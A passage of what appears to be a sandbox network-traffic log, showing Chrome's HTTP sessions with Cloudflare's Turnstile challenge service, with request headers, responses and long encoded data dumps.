WXpramuNc6NhfXaBZquHgImtjqSFrYh/r2mTg4J4e3mLrKiSgHmgwZ2/h5+Agpa6oJ3NpcLDzbG11avQtK3JnZaxmZra2qKiwuOmwLvb3ezMpfGn5s/s1fbf5+ju+vKv9LX83t364dL52sHy2PzI6MDL7efz5vDhzuPr9dj8Fwb1FPffFgDj8R79A+EEAAgI5gbpGwEl8AHo8xYQEAgbGzIWHy03Qzv3Ogc7GwgePwQiGEFCTCYvRC8oVxk8NxR
2024-10-25 08:20:05 UTC	1369	IN	Data Raw: 35 70 68 59 47 4a 78 70 34 5a 69 6e 70 64 38 66 4a 79 6c 6a 70 39 77 62 59 2b 77 74 33 4f 57 6a 72 74 33 6d 35 4b 2f 65 36 53 57 77 33 2b 6d 6d 73 65 44 71 38 53 56 79 70 72 4b 70 4b 71 76 6e 71 2b 66 74 4d 4f 6e 30 71 50 50 32 5a 37 4f 6b 72 69 59 6f 4b 7a 53 73 5a 37 41 73 61 4c 6f 70 4c 79 33 70 64 6e 6d 33 66 54 67 36 76 48 31 35 62 4c 52 35 62 54 4a 31 72 71 32 30 73 7a 4f 30 63 4c 4f 78 74 48 42 31 39 6e 4c 31 77 2f 38 38 66 48 69 37 50 37 69 7a 65 62 58 79 78 45 53 45 2f 62 61 43 76 33 7a 43 78 45 6a 45 41 67 6d 49 69 45 48 2b 2b 77 67 2f 67 55 6b 41 67 6b 48 41 76 37 32 4c 69 34 33 42 44 63 76 46 67 6b 53 44 44 64 42 45 53 38 67 46 45 42 4b 4f 77 45 5a 4e 79 64 4b 53 46 4a 43 4b 68 38 66 4e 7a 67 4b 4c 6c 56 5a 4c 78 51 55 47 68 6c 67 53 79 46 63 Data Ascii: 5phYGJxp4Zinpd8fJyljp9wbY+wt3OWjrt3m5K/e6SWw3+mmseDq8SVyprKpKqvnq+ftMOn0qPP2Z7OkriYoKzSsZ7AsaLopLy3pdnm3fTg6vH15bLR5bTJ1rq20szO0cLOxtHB19nL1w/88fHi7P7izebXyxESE/baCv3zCxEjEAgmIiEH++wg/gUkAgkHAv72Li43BDcvFgkSDDdBES8gFEBKOwEZNydKSFJCKh8fNzgKLlVZLxQUGhlgSyFc
2024-10-25 08:20:05 UTC	1369	IN	Data Raw: 6d 62 6a 4a 65 5a 6f 36 39 6f 70 36 65 48 6f 71 43 5a 6a 62 4e 37 6d 59 36 73 76 6e 70 36 71 36 33 46 68 59 53 68 79 4c 53 49 6d 73 79 4d 78 36 54 52 30 4b 4c 4f 6a 63 69 68 74 39 47 6d 6b 4e 65 32 7a 39 48 4f 31 39 61 73 77 4a 75 7a 6f 62 37 43 33 71 53 2b 74 35 2f 57 79 2b 65 74 37 65 58 30 38 71 37 54 38 37 54 77 75 38 62 52 74 41 44 7a 30 2b 37 73 35 64 6e 7a 78 2b 6a 61 2b 41 50 47 76 77 6f 4b 43 67 6f 45 37 41 37 48 35 66 49 5a 45 78 73 58 46 68 63 66 47 53 44 54 39 65 33 64 34 69 51 47 4b 68 49 63 2b 53 37 66 2b 66 6a 71 34 77 55 78 37 41 77 47 44 6a 6b 69 46 66 4c 7a 4f 42 6f 50 2b 6a 6f 34 44 30 51 78 53 42 6c 42 4d 67 45 6e 54 41 30 38 4a 6c 42 4b 45 45 30 4d 55 69 59 6a 45 79 30 5a 4a 78 51 62 57 31 51 59 4e 54 34 30 59 79 4d 6b 4b 47 51 2b 57 Data Ascii: mbjJeZo69op6eHoqCZjbN7mY6svnp6q63FhYShyLSImsyMx6TR0KLOjciht9GmkNe2z9HO19aswJuzob7C3qS+t5/Wy+et7eX08q7T87Twu8bRtADz0+7s5dnzx+ja+APGvwoKCgoE7A7H5fIZExsXFhcfGSDT9e3d4iQGKhIc+S7f+fjq4wUx7AwGDjkiFfLzOBoP+jo4D0QxSBlBMgEnTA08JlBKEE0MUiYjEy0ZJxQbW1QYNT40YyMkKGQ+W
2024-10-25 08:20:05 UTC	1369	IN	Data Raw: 75 70 5a 79 74 6a 36 36 79 72 70 65 77 76 61 61 49 75 37 70 2f 75 34 79 77 76 35 6a 44 78 4c 4b 33 74 73 65 67 79 73 75 4b 75 73 65 62 30 59 2b 77 79 63 4b 53 75 35 4c 45 6c 70 72 65 79 4c 4f 38 72 64 4c 5a 6f 75 48 53 74 38 50 6a 34 37 76 69 37 39 76 50 33 38 6a 75 78 37 50 34 39 50 50 48 75 50 72 31 75 37 76 37 77 62 75 36 41 63 4c 45 38 67 58 7a 31 4d 48 33 33 2b 63 49 2b 41 66 6a 30 50 33 4f 7a 77 34 42 30 75 38 59 43 52 49 61 47 77 76 61 42 4e 6f 66 47 77 51 64 4b 68 50 30 4b 43 66 72 4b 50 67 64 4c 41 55 77 4d 52 38 6b 49 7a 51 4e 4e 7a 6a 32 4a 7a 51 49 50 76 73 63 51 43 34 37 45 54 35 41 47 45 4a 45 4e 51 63 4c 44 54 73 78 49 46 56 42 4b 53 67 51 4f 68 6b 55 57 6c 5a 58 4e 52 31 66 51 56 77 75 58 6c 39 62 49 69 4e 54 52 53 70 6d 61 53 67 73 62 30 Data Ascii: upZytj66yrpewvaaIu7p/u4ywv5jDxLK3tsegysuKuseb0Y+wycKSu5LElpreyLO8rdLZouHSt8Pj47vi79vP38jux7P49PPHuPr1u7v7wbu6AcLE8gXz1MH33+cI+Afj0P3Ozw4B0u8YCRIaGwvaBNofGwQdKhP0KCfrKPgdLAUwMR8kIzQNNzj2JzQIPvscQC47ET5AGEJENQcLDTsxIFVBKSgQOhkUWlZXNR1fQVwuXl9bIiNTRSpmaSgsb0
2024-10-25 08:20:05 UTC	1369	IN	Data Raw: 72 59 2b 35 70 70 74 2b 76 71 6d 67 6a 37 2b 77 6b 38 48 43 71 49 4f 62 78 4b 32 62 69 73 75 77 69 73 32 4f 76 49 2b 6e 79 4d 47 53 31 63 33 46 76 4b 76 5a 79 62 44 52 33 4d 53 65 76 2b 66 53 33 72 76 6b 31 62 75 75 36 4e 79 2f 72 75 7a 65 31 4d 50 78 34 65 37 4c 39 75 57 32 2f 62 72 70 39 73 73 42 37 76 6e 62 42 66 4c 39 43 67 66 32 37 50 30 4d 2b 75 2f 4b 44 76 37 6a 37 78 58 34 30 74 59 56 43 65 76 61 45 67 6f 57 49 68 38 4f 38 2b 49 6d 45 65 49 6d 35 68 59 4d 36 69 30 52 36 77 41 76 48 67 51 51 4d 69 49 4a 4b 6a 63 6d 48 51 67 39 4b 79 45 55 51 69 38 6c 46 45 45 31 47 41 4e 4a 4e 51 67 67 53 6a 74 47 45 30 59 39 45 43 51 54 51 6a 6b 73 56 6b 59 73 46 31 31 4b 56 6a 78 65 54 7a 56 57 5a 6c 49 34 51 47 70 57 4b 44 78 70 55 53 74 79 5a 57 46 45 4d 33 64 Data Ascii: rY+5ppt+vqmgj7+wk8HCqIObxK2bisuwis2OvI+nyMGS1c3FvKvZybDR3MSev+fS3rvk1buu6Ny/ruze1MPx4e7L9uW2/brp9ssB7vnbBfL9Cgf27P0M+u/KDv7j7xX40tYVCevaEgoWIh8O8+ImEeIm5hYM6i0R6wAvHgQQMiIJKjcmHQg9KyEUQi8lFEE1GANJNQggSjtGE0Y9ECQTQjksVkYsF11KVjxeTzVWZlI4QGpWKDxpUStyZWFEM3d
2024-10-25 08:20:05 UTC	1369	IN	Data Raw: 36 75 54 66 6e 71 39 75 71 44 44 73 35 37 42 68 6f 57 73 6f 34 71 49 73 61 57 7a 31 4d 33 50 74 4d 62 55 78 64 7a 49 73 70 79 73 6d 39 76 4e 35 4e 43 37 73 62 53 6a 34 39 58 73 32 4d 4c 6c 35 4b 76 51 34 39 76 56 73 71 36 75 73 65 37 70 39 2b 61 38 39 76 72 72 31 76 6d 2b 37 4c 36 2b 43 51 6b 43 77 73 4c 46 41 2f 30 4d 2b 51 66 6e 7a 68 62 6a 41 78 51 45 37 68 4c 57 31 2f 33 78 2b 79 45 65 38 4f 33 62 35 43 41 44 46 79 55 45 4c 52 6b 44 4a 69 58 6f 36 79 51 54 46 76 55 6d 38 76 45 49 4b 42 6b 70 45 78 77 31 4f 6a 63 65 49 6a 45 62 4f 6b 6b 31 48 79 78 42 42 41 68 41 4b 7a 49 53 4c 41 38 4e 4a 45 52 48 52 54 41 6f 55 56 5a 54 4f 6b 46 4e 4e 6d 4a 6c 58 43 59 68 4e 56 49 2b 56 6d 46 6d 59 30 70 66 58 55 63 74 51 56 35 4b 59 6e 6c 6c 54 7a 56 4a 5a 54 31 71 Data Ascii: 6uTfnq9uqDDs57BhoWso4qIsaWz1M3PtMbUxdzIspysm9vN5NC7sbSj49Xs2MLl5KvQ49vVsq6use7p9+a89vrr1vm+7L6+CQkCwsLFA/0M+QfnzhbjAxQE7hLW1/3x+yEe8O3b5CADFyUELRkDJiXo6yQTFvUm8vEIKBkpExw1OjceIjEbOkk1HyxBBAhAKzISLA8NJERHRTAoUVZTOkFNNmJlXCYhNVI+VmFmY0pfXUctQV5KYnllTzVJZT1q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	50158	104.18.94.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:20:06 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1954702431:1729840526:lxWgwBVacrfPgN4BGZrmhPGM6SZGVVCL-6CofhKI-F8/8d80c8d89fe42e6c/sGFNgZYAe5uZRUHcJH.HG1GYudzMM6S9a_B5vHftWOs-1729844396-1.1.1.1-O7jpRdwhk8XXkKKru9Jx5RvmC78MpNpUzinWlkzgNoD8o42Wmvey1QhvpzLPqyt0 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:20:06 UTC	379	IN	HTTP/1.1 404 Not Found Date: Fri, 25 Oct 2024 08:20:06 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: u9npBMOQZ3JficqT3C0AsC9FWtTUoxMkf0s=$xVDq4DwBJ0MvOyeP Server: cloudflare CF-RAY: 8d80c9139e7f4757-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 08:20:06 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.6	50164	104.18.95.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:20:11 UTC	1151	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1954702431:1729840526:lxWgwBVacrfPgN4BGZrmhPGM6SZGVVCL-6CofhKI-F8/8d80c8d89fe42e6c/sGFNgZYAe5uZRUHcJH.HG1GYudzMM6S9a_B5vHftWOs-1729844396-1.1.1.1-O7jpRdwhk8XXkKKru9Jx5RvmC78MpNpUzinWlkzgNoD8o42Wmvey1QhvpzLPqyt0 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 33981 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: sGFNgZYAe5uZRUHcJH.HG1GYudzMM6S9a_B5vHftWOs-1729844396-1.1.1.1-O7jpRdwhk8XXkKKru9Jx5RvmC78MpNpUzinWlkzgNoD8o42Wmvey1QhvpzLPqyt0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:20:11 UTC	16384	OUT	Data Raw: 76 5f 38 64 38 30 63 38 64 38 39 66 65 34 32 65 36 63 3d 63 78 2d 30 32 49 72 41 7a 76 2d 72 78 44 6e 69 6a 72 32 5a 38 53 76 5a 6d 5a 6c 76 30 57 30 37 78 5a 37 5a 43 30 46 2d 72 73 54 5a 35 37 24 4e 6b 7a 69 4b 5a 45 70 24 37 6b 49 68 67 2d 5a 63 49 5a 44 41 5a 46 30 76 75 4b 37 45 5a 76 68 5a 77 30 38 78 30 5a 53 30 49 46 5a 62 67 5a 69 46 58 59 24 67 6b 5a 31 5a 43 78 72 47 69 6d 69 5a 72 4d 5a 43 31 68 5a 34 30 76 76 5a 41 30 76 51 63 48 71 56 65 72 64 5a 44 4b 6e 49 58 4c 70 43 5a 5a 69 53 5a 5a 4d 36 49 59 66 30 72 4d 61 5a 5a 79 49 52 2d 36 48 4c 6c 6a 38 5a 69 70 2d 30 5a 58 41 24 39 6d 43 51 32 6a 2d 79 65 43 46 56 2d 49 43 49 31 66 67 77 78 5a 44 52 38 76 5a 2d 57 62 66 75 51 46 79 6f 7a 49 66 36 50 68 4c 47 51 51 5a 6d 77 34 32 71 6d 35 6f 59 Data Ascii: v_8d80c8d89fe42e6c=cx-02IrAzv-rxDnijr2Z8SvZmZlv0W07xZ7ZC0F-rsTZ57$NkziKZEp$7kIhg-ZcIZDAZF0vuK7EZvhZw08x0ZS0IFZbgZiFXY$gkZ1ZCxrGimiZrMZC1hZ40vvZA0vQcHqVerdZDKnIXLpCZZiSZZM6IYf0rMaZZyIR-6HLlj8Zip-0ZXA$9mCQ2j-yeCFV-ICI1fgwxZDR8vZ-WbfuQFyozIf6PhLGQQZmw42qm5oY
2024-10-25 08:20:11 UTC	16384	OUT	Data Raw: 72 6c 5a 65 7a 24 30 6c 46 76 48 72 6b 24 5a 6e 73 36 64 24 53 56 2b 52 4a 33 30 5a 30 41 72 48 24 72 6e 5a 76 65 5a 37 2b 56 5a 44 30 76 2d 5a 66 5a 49 30 76 7a 5a 65 5a 50 62 74 65 5a 58 5a 71 30 49 65 72 57 5a 57 30 53 43 72 47 5a 41 24 49 48 5a 36 35 4c 24 69 6e 5a 50 5a 76 5a 44 66 5a 35 5a 2d 65 72 46 5a 41 5a 44 65 5a 41 72 67 5a 43 5a 69 41 5a 24 5a 71 65 53 66 5a 4a 30 24 65 72 41 72 52 55 69 7a 53 30 4c 6d 5a 38 44 51 62 5a 52 55 76 61 73 48 5a 74 78 69 64 67 70 5a 48 5a 43 68 69 7a 49 4d 5a 48 5a 49 6c 66 78 5a 47 65 72 74 5a 65 24 6c 30 2d 43 76 59 78 2d 24 72 6b 5a 50 5a 5a 4c 44 45 54 4a 5a 45 79 76 48 5a 47 5a 45 79 49 65 30 77 5a 4f 30 43 67 77 43 5a 6d 5a 49 6e 72 5a 7a 46 5a 5a 45 48 63 70 50 24 69 30 5a 65 24 24 2d 49 47 54 33 5a 45 79 Data Ascii: rlZez$0lFvHrk$Zns6d$SV+RJ30Z0ArH$rnZveZ7+VZD0v-ZfZI0vzZeZPbteZXZq0IerWZW0SCrGZA$IHZ65L$inZPZvZDfZ5Z-erFZAZDeZArgZCZiAZ$ZqeSfZJ0$erArRUizS0LmZ8DQbZRUvasHZtxidgpZHZChizIMZHZIlfxZGertZe$l0-CvYx-$rkZPZZLDETJZEyvHZGZEyIe0wZO0CgwCZmZInrZzFZZEHcpP$i0Ze$$-IGT3ZEy
2024-10-25 08:20:11 UTC	1213	OUT	Data Raw: 64 67 2d 6b 69 71 48 73 36 7a 65 77 49 35 38 59 41 32 2b 5a 65 46 4a 5a 47 33 30 6b 73 6c 49 36 73 5a 43 54 4b 32 45 48 6a 35 58 5a 36 70 4e 53 32 4a 77 43 6c 6a 6e 75 4c 4f 57 4e 57 49 31 4b 73 41 45 6c 78 2d 44 59 45 30 73 45 62 34 39 6e 37 78 5a 73 51 56 48 47 48 62 39 6e 78 2d 31 57 76 35 75 31 37 38 2d 30 4c 54 64 79 45 46 24 34 73 6d 73 70 68 62 37 76 49 56 4e 6c 30 75 62 4d 62 5a 75 65 59 30 76 7a 72 68 24 44 56 46 5a 38 73 37 48 78 72 73 50 35 5a 6b 65 43 6d 64 66 5a 50 6e 7a 4d 77 64 6e 54 5a 72 35 72 72 32 79 6e 49 45 78 58 66 63 55 4f 4f 54 41 4e 6e 58 4c 72 4b 6c 6a 54 48 55 2d 72 66 38 74 65 53 77 36 66 5a 45 37 6c 73 72 37 78 46 65 44 53 72 4f 24 54 6a 37 72 4d 48 36 33 6f 53 73 5a 32 78 64 72 52 65 72 68 5a 76 33 45 6f 36 50 2b 57 2d 7a 39 Data Ascii: dg-kiqHs6zewI58YA2+ZeFJZG30kslI6sZCTK2EHj5XZ6pNS2JwCljnuLOWNWI1KsAElx-DYE0sEb49n7xZsQVHGHb9nx-1Wv5u178-0LTdyEF$4smsphb7vIVNl0ubMbZueY0vzrh$DVFZ8s7HxrsP5ZkeCmdfZPnzMwdnTZr5rr2ynIExXfcUOOTANnXLrKljTHU-rf8teSw6fZE7lsr7xFeDSrO$Tj7rMH63oSsZ2xdrRerhZv3Eo6P+W-z9
2024-10-25 08:20:12 UTC	286	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:20:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6444 Connection: close cf-chl-out: BS5T44QP923wlpbUz/mqAduy2UvewSKcDbJjT41MdUmPt/cIfhIk/l+1NBztvEIe+8KPTwUK7tEQtrK019rtWQA3lItCsGje/YGJoZcLpr08pGxJIjVGAw==$mE8Q0Rujya9KecQv
2024-10-25 08:20:12 UTC	1235	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 2d 73 3a 20 50 77 4e 69 7a 6d 6f 36 2b 70 37 74 71 2f 57 7a 4f 4d 72 43 79 47 4b 6f 36 62 61 50 61 50 65 6a 35 70 50 6b 62 68 68 6c 71 4e 68 33 5a 48 7a 53 77 71 4b 52 47 58 75 30 6a 2f 41 55 67 52 64 38 64 47 33 30 6a 48 6c 67 68 66 42 37 62 2f 56 6c 39 73 52 4e 73 52 78 76 43 34 6b 39 47 6c 63 74 53 6a 73 56 76 51 63 78 69 58 62 72 44 58 64 71 54 62 68 34 45 66 31 43 47 72 49 70 76 33 5a 44 4b 6a 2f 38 62 54 46 52 65 2b 67 76 48 35 52 2b 47 4c 2f 38 6c 36 67 58 78 79 75 43 53 32 37 39 30 34 6d 38 46 6d 6f 6e 4e 44 72 6c 58 52 35 72 65 67 47 46 69 33 35 54 36 35 33 4b 74 66 77 58 6e 77 53 79 77 61 37 45 32 63 66 30 63 35 6b 6e 61 7a 55 71 47 6c 5a 2f 33 41 4c 77 45 35 61 6d 4e 57 79 49 73 31 47 58 37 72 77 76 77 4f 49 32 56 Data Ascii: cf-chl-out-s: PwNizmo6+p7tq/WzOMrCyGKo6baPaPej5pPkbhhlqNh3ZHzSwqKRGXu0j/AUgRd8dG30jHlghfB7b/Vl9sRNsRxvC4k9GlctSjsVvQcxiXbrDXdqTbh4Ef1CGrIpv3ZDKj/8bTFRe+gvH5R+GL/8l6gXxyuCS27904m8FmonNDrlXR5regGFi35T653KtfwXnwSywa7E2cf0c5knazUqGlZ/3ALwE5amNWyIs1GX7rwvwOI2V
2024-10-25 08:20:12 UTC	1217	IN	Data Raw: 69 6b 43 4c 61 49 53 46 64 32 69 43 63 6d 6c 71 69 4a 42 75 57 49 78 73 67 33 75 4e 62 35 4e 73 6b 6f 4e 36 62 31 75 64 67 5a 6d 58 69 5a 75 47 6e 70 6c 6c 65 33 6d 54 6a 62 4f 69 72 4b 2b 46 70 72 43 7a 6b 36 31 34 66 4a 61 30 66 70 71 50 6a 62 32 68 78 72 7a 42 6c 5a 65 38 78 4b 6d 72 75 36 4b 71 6e 35 57 6e 73 63 6e 4c 6c 5a 69 32 7a 4b 36 5a 71 36 48 44 76 64 6a 5a 33 4b 54 45 33 63 72 6a 75 4f 75 6b 31 38 7a 72 36 65 76 41 35 37 44 4e 30 4f 72 4b 31 64 4c 77 7a 39 62 4c 77 62 37 64 42 50 6a 42 78 50 44 37 77 77 7a 59 41 67 59 49 34 41 45 4a 37 74 2f 48 35 2f 45 4e 43 52 41 4c 46 41 2f 58 47 51 48 36 41 67 54 39 47 42 45 69 38 43 4c 38 41 67 4d 70 39 68 38 51 45 67 37 76 4e 42 63 53 39 41 4d 46 47 6a 58 35 4b 67 30 32 4c 68 59 61 51 54 59 43 4e 43 45 Data Ascii: ikCLaISFd2iCcmlqiJBuWIxsg3uNb5NskoN6b1udgZmXiZuGnplle3mTjbOirK+FprCzk614fJa0fpqPjb2hxrzBlZe8xKmru6Kqn5WnscnLlZi2zK6Zq6HDvdjZ3KTE3crjuOuk18zr6evA57DN0OrK1dLwz9bLwb7dBPjBxPD7wwzYAgYI4AEJ7t/H5/ENCRALFA/XGQH6AgT9GBEi8CL8AgMp9h8QEg7vNBcS9AMFGjX5Kg02LhYaQTYCNCE
2024-10-25 08:20:12 UTC	1369	IN	Data Raw: 51 2f 6d 48 76 54 75 39 75 41 43 41 67 6a 31 39 43 76 2b 46 41 51 68 39 6a 45 48 4a 53 59 4e 45 42 49 6c 4c 67 77 6f 4f 54 6f 56 43 68 63 68 44 41 30 63 49 42 34 51 52 55 45 6b 50 52 77 70 4b 43 6f 2b 49 69 45 4a 54 51 30 75 49 43 39 4a 4d 31 6f 6b 4a 54 6b 57 4e 30 41 36 4f 79 4e 46 4d 31 55 37 52 45 4d 7a 4b 6c 35 4a 62 57 56 64 51 6a 34 76 51 6b 56 41 62 6d 42 50 53 45 68 6b 57 6a 55 36 59 45 35 4e 54 32 42 67 55 6d 42 6c 58 6c 56 55 61 32 47 41 61 47 70 70 6b 33 4e 4e 62 6d 46 34 62 57 31 52 6b 6f 52 75 5a 33 52 2f 63 6d 31 69 70 59 4e 77 67 49 4e 35 59 6d 74 2b 69 59 6d 48 6b 49 65 4e 70 61 65 49 67 33 2b 73 6c 59 65 75 68 5a 4f 48 6e 36 43 56 6e 34 2b 37 6e 4d 57 31 78 5a 65 37 74 63 69 67 7a 61 66 42 70 4d 53 6e 6a 4c 57 67 71 37 65 75 32 38 61 6e Data Ascii: Q/mHvTu9uACAgj19Cv+FAQh9jEHJSYNEBIlLgwoOToVChchDA0cIB4QRUEkPRwpKCo+IiEJTQ0uIC9JM1okJTkWN0A6OyNFM1U7REMzKl5JbWVdQj4vQkVAbmBPSEhkWjU6YE5NT2BgUmBlXlVUa2GAaGppk3NNbmF4bW1RkoRuZ3R/cm1ipYNwgIN5Ymt+iYmHkIeNpaeIg3+slYeuhZOHn6CVn4+7nMW1xZe7tcigzafBpMSnjLWgq7eu28an
2024-10-25 08:20:12 UTC	1369	IN	Data Raw: 77 6a 45 41 54 77 4a 78 54 35 2b 52 67 42 37 65 55 74 4a 51 34 6f 42 69 63 41 44 42 62 79 41 78 73 33 4b 79 30 4f 48 54 2f 36 44 55 51 69 46 68 46 48 4e 43 77 44 53 6b 38 42 44 53 34 6f 4d 30 55 72 53 41 35 54 4e 79 4d 35 57 77 38 6d 51 44 6f 58 50 6a 49 79 50 56 41 32 4d 57 68 4a 51 6a 52 4b 4f 6a 35 69 63 57 35 50 5a 55 6c 46 53 53 35 35 63 7a 4e 4f 66 58 68 33 64 33 4a 57 62 6e 41 38 57 6b 39 65 63 6b 6c 4c 54 48 6c 64 67 6f 31 2f 59 6d 52 50 67 55 39 54 54 70 52 55 55 31 4f 4a 57 49 35 62 6a 6c 79 62 62 5a 4a 59 59 34 4b 44 65 32 4f 63 69 4a 65 6c 62 59 65 6f 71 36 36 56 61 4b 65 45 62 33 47 77 74 33 6d 55 72 5a 4e 33 6d 4a 65 7a 67 48 79 53 78 34 66 49 6b 35 65 4d 6f 61 4c 4c 71 74 43 77 6f 72 58 4a 30 36 32 51 71 4a 61 7a 74 61 65 65 75 72 44 68 32 Data Ascii: wjEATwJxT5+RgB7eUtJQ4oBicADBbyAxs3Ky0OHT/6DUQiFhFHNCwDSk8BDS4oM0UrSA5TNyM5Ww8mQDoXPjIyPVA2MWhJQjRKOj5icW5PZUlFSS55czNOfXh3d3JWbnA8Wk9ecklLTHldgo1/YmRPgU9TTpRUU1OJWI5bjlybbZJYY4KDe2OciJelbYeoq66VaKeEb3Gwt3mUrZN3mJezgHySx4fIk5eMoaLLqtCworXJ062QqJaztaeeurDh2
2024-10-25 08:20:12 UTC	1369	IN	Data Raw: 43 48 51 44 36 41 69 73 50 44 66 73 66 43 43 63 4d 43 52 4d 6e 42 2f 4d 5a 4c 68 38 41 47 42 34 57 50 51 4d 79 42 67 67 48 4e 69 51 6f 49 43 55 66 42 69 31 53 4e 43 77 55 52 68 59 51 4c 45 73 73 4c 54 6c 50 57 56 6b 2f 59 79 4d 74 4f 47 4d 79 5a 53 5a 72 4e 45 49 73 4f 7a 74 6b 52 45 39 71 53 6b 6c 42 55 33 6c 5a 52 33 42 33 4f 31 6c 75 62 6c 34 34 54 34 4e 64 59 46 74 46 52 56 5a 65 69 47 68 5a 65 56 42 6d 61 4a 47 55 61 58 42 54 61 31 64 34 61 31 64 34 6a 35 70 73 65 46 52 34 66 6e 69 5a 58 35 69 43 64 6d 4a 6c 69 58 75 50 62 49 4a 2f 6b 71 32 51 6b 35 4e 76 69 6f 57 50 76 5a 69 75 6e 33 6d 64 6e 59 4f 79 6f 62 6d 44 75 4b 6d 55 79 59 6d 6a 68 71 53 74 6a 34 53 4c 6e 36 6a 57 74 34 2b 58 32 37 79 6b 73 35 62 59 6d 72 62 69 33 74 53 39 6e 4c 6a 45 77 61 Data Ascii: CHQD6AisPDfsfCCcMCRMnB/MZLh8AGB4WPQMyBggHNiQoICUfBi1SNCwURhYQLEssLTlPWVk/YyMtOGMyZSZrNEIsOztkRE9qSklBU3lZR3B3O1lubl44T4NdYFtFRVZeiGhZeVBmaJGUaXBTa1d4a1d4j5pseFR4fniZX5iCdmJliXuPbIJ/kq2Qk5NvioWPvZiun3mdnYOyobmDuKmUyYmjhqStj4SLn6jWt4+X27yks5bYmrbi3tS9nLjEwa
2024-10-25 08:20:12 UTC	1120	IN	Data Raw: 44 41 63 50 43 50 34 70 45 41 55 52 4f 50 67 48 50 51 38 2f 41 45 45 53 51 68 55 66 2f 55 54 36 49 52 59 4a 43 77 51 72 50 41 4d 6f 44 69 6f 65 49 44 4a 53 43 7a 4d 7a 4b 43 68 4f 48 52 30 67 54 69 49 2b 4a 46 5a 43 61 54 64 6e 4e 7a 6f 72 58 55 59 70 51 57 45 79 56 44 38 6f 63 55 45 34 61 6a 70 32 54 47 6f 32 54 45 78 4c 62 57 4e 5a 58 33 31 31 56 32 43 4d 69 46 74 6f 6a 45 31 5a 6a 6d 36 56 61 47 2b 46 61 57 46 6b 6e 46 68 6d 5a 6c 35 39 64 4b 46 37 63 48 47 6d 70 61 56 30 63 71 79 73 65 61 31 2b 72 34 4e 6f 69 34 71 45 6a 6d 36 71 69 62 65 4c 6b 6e 68 30 6b 34 71 56 6d 59 47 43 6d 4a 44 42 77 59 65 6a 76 4d 6d 56 71 4b 61 4d 6d 70 71 69 30 34 76 56 70 36 43 50 31 36 66 49 6a 38 33 55 31 4b 47 59 72 2b 53 31 77 62 50 6f 75 4f 71 68 70 62 33 47 74 39 75 Data Ascii: DAcPCP4pEAUROPgHPQ8/AEESQhUf/UT6IRYJCwQrPAMoDioeIDJSCzMzKChOHR0gTiI+JFZCaTdnNzorXUYpQWEyVD8ocUE4ajp2TGo2TExLbWNZX311V2CMiFtojE1Zjm6VaG+FaWFknFhmZl59dKF7cHGmpaV0cqysea1+r4Noi4qEjm6qibeLknh0k4qVmYGCmJDBwYejvMmVqKaMmpqi04vVp6CP16fIj83U1KGYr+S1wbPouOqhpb3Gt9u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	50167	104.18.94.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:20:12 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1954702431:1729840526:lxWgwBVacrfPgN4BGZrmhPGM6SZGVVCL-6CofhKI-F8/8d80c8d89fe42e6c/sGFNgZYAe5uZRUHcJH.HG1GYudzMM6S9a_B5vHftWOs-1729844396-1.1.1.1-O7jpRdwhk8XXkKKru9Jx5RvmC78MpNpUzinWlkzgNoD8o42Wmvey1QhvpzLPqyt0 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:20:12 UTC	379	IN	HTTP/1.1 404 Not Found Date: Fri, 25 Oct 2024 08:20:12 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: MQNJxYMqMjZPR7TT8vXH6HcVMset+LXnvu0=$PAsngbybJPKgYHyn Server: cloudflare CF-RAY: 8d80c93c5c5da924-DFW alt-svc: h3=":443"; ma=86400
